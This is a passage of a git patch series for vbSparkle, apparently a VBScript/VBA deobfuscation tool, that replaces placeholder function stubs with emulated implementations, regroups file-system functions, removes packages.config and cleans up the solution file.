NativeMethods.VB_MidB(this)); + Add(new NativeMethods.VB_MidB_S(this)); Add(new NativeMethods.VB_Replace(this)); - Add(new NativeMethods.VB_MonitoringFunction(this, "Right")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Right$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RightB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RightB$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RTrim")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RTrim$")); // TODO + + Add(new NativeMethods.VB_Left(this)); + Add(new NativeMethods.VB_Left_S(this)); + Add(new NativeMethods.VB_LeftB(this)); + Add(new NativeMethods.VB_LeftB_S(this)); + + Add(new NativeMethods.VB_Right(this)); + Add(new NativeMethods.VB_Right_S(this)); + Add(new NativeMethods.VB_RightB(this)); + Add(new NativeMethods.VB_RightB_S(this)); Add(new NativeMethods.VB_Space_S(this)); Add(new NativeMethods.VB_Space(this)); - Add(new NativeMethods.VB_MonitoringFunction(this, "Split")); + Add(new NativeMethods.VB_Join(this)); + Add(new NativeMethods.VB_Split(this)); + Add(new NativeMethods.VB_MonitoringFunction(this, "StrComp")); Add(new NativeMethods.VB_MonitoringFunction(this, "StrConv")); Add(new NativeMethods.VB_MonitoringFunction(this, "String")); Add(new NativeMethods.VB_MonitoringFunction(this, "String$")); Add(new NativeMethods.VB_StrReverse(this)); + + // Triming Add(new NativeMethods.VB_Trim(this)); Add(new NativeMethods.VB_Trim_S(this)); - Add(new NativeMethods.VB_MonitoringFunction(this, "UCase")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "UCase$")); // TODO + Add(new NativeMethods.VB_RTrim(this)); + Add(new NativeMethods.VB_RTrim_S(this)); + Add(new NativeMethods.VB_LTrim(this)); + Add(new NativeMethods.VB_LTrim_S(this)); // Math Add(new NativeMethods.VB_Abs(this)); @@ -100,25 +111,6 @@ public NativeObjectManager() Add(new NativeMethods.VB_Sqr(this)); Add(new NativeMethods.VB_Tan(this)); - // FileSystem - Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir$")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Dir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "EOF")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileAttr")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileCopy")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileDateTime")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileLen")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FreeFile")); - Add(new NativeMethods.VB_MonitoringFunction(this, "GetAttr")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Kill")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Loc")); - Add(new NativeMethods.VB_MonitoringFunction(this, "LOF")); - Add(new NativeMethods.VB_MonitoringFunction(this, "MkDir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Reset")); - Add(new NativeMethods.VB_MonitoringFunction(this, "RmDir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Seek")); - Add(new NativeMethods.VB_MonitoringFunction(this, "SetAttr")); // Interaction Add(new NativeMethods.VB_MonitoringFunction(this, "AppActivate")); @@ -162,24 +154,24 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "VarType")); // Financial - Add(new NativeMethods.VB_MonitoringFunction(this, "DDB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "FV")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "IPmt")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "IRR")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "MIRR")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "NPer")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "NPV")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Pmt")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "PPmt")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "PV")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Rate")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "SLN")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "SYD")); // TODO + Add(new NativeMethods.VB_DDB(this)); + Add(new NativeMethods.VB_FV(this)); + Add(new NativeMethods.VB_IPmt(this)); + Add(new NativeMethods.VB_IRR(this)); + Add(new NativeMethods.VB_MIRR(this)); + Add(new NativeMethods.VB_NPer(this)); + Add(new NativeMethods.VB_NPV(this)); + Add(new NativeMethods.VB_Pmt(this)); + Add(new NativeMethods.VB_PPmt(this)); + Add(new NativeMethods.VB_PV(this)); + Add(new NativeMethods.VB_Rate(this)); + Add(new NativeMethods.VB_SLN(this)); + Add(new NativeMethods.VB_SYD(this)); // Arrays - Add(new NativeMethods.VB_MonitoringFunction(this, "Array")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LBound")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "UBound")); // TODO + Add(new NativeMethods.VB_Array(this)); + Add(new NativeMethods.VB_LBound(this)); + Add(new NativeMethods.VB_UBound(this)); // DateTime @@ -229,9 +221,27 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "Str$")); // TODO Add(new NativeMethods.VB_Val(this)); - // Arrays - + // Non Deterministics + // FileSystem + Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir$")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Dir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "EOF")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileAttr")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileCopy")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileDateTime")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileLen")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FreeFile")); + Add(new NativeMethods.VB_MonitoringFunction(this, "GetAttr")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Kill")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Loc")); + Add(new NativeMethods.VB_MonitoringFunction(this, "LOF")); + Add(new NativeMethods.VB_MonitoringFunction(this, "MkDir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Reset")); + Add(new NativeMethods.VB_MonitoringFunction(this, "RmDir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Seek")); + Add(new NativeMethods.VB_MonitoringFunction(this, "SetAttr")); // Specials Add(new NativeMethods.VB_Eval(this)); } diff --git a/Sources/vbSparkle/packages.config b/Sources/vbSparkle/packages.config deleted file mode 100644 index 0c51d07..0000000 --- a/Sources/vbSparkle/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/Sources/vbSparkle/vbSparkle.csproj b/Sources/vbSparkle/vbSparkle.csproj index 2dafba6..ddf17d2 100644 --- a/Sources/vbSparkle/vbSparkle.csproj +++ b/Sources/vbSparkle/vbSparkle.csproj @@ -16,11 +16,12 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR Airbus CERT, Sylvain Bruyere Airbus CERT, Sylvain Bruyere Airbus - 1.0.3 + 1.0.4.1 vbSparkle + @@ -46,10 +47,6 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR - - - - From fec7fd75a7a00b0415aac7d5521bcafda28cd925 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Fri, 30 Aug 2024 03:31:28 +0200 Subject: [PATCH 14/14] Fix solution --- vbSparkle.sln | 6 ------ 1 file changed, 6 deletions(-) diff --git a/vbSparkle.sln b/vbSparkle.sln index b797efe..e4ec9e1 100644 --- a/vbSparkle.sln +++ b/vbSparkle.sln @@ -17,8 +17,6 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.Web", "Sources\vbSparkle.Web\vbSparkle.Web.csproj", "{624C3675-DBFF-4D53-9488-9A9987E467DF}" EndProject -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Antlr4", "C:\Users\USR-S974\Downloads\antlr4-dev\antlr4-dev\runtime\CSharp\src\Antlr4.csproj", "{E0464AE4-7A68-41F5-B68C-ABE0571B030F}" -EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -37,10 +35,6 @@ Global {624C3675-DBFF-4D53-9488-9A9987E467DF}.Debug|Any CPU.Build.0 = Debug|Any CPU {624C3675-DBFF-4D53-9488-9A9987E467DF}.Release|Any CPU.ActiveCfg = Release|Any CPU {624C3675-DBFF-4D53-9488-9A9987E467DF}.Release|Any CPU.Build.0 = Release|Any CPU - {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E0464AE4-7A68-41F5-B68C-ABE0571B030F}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE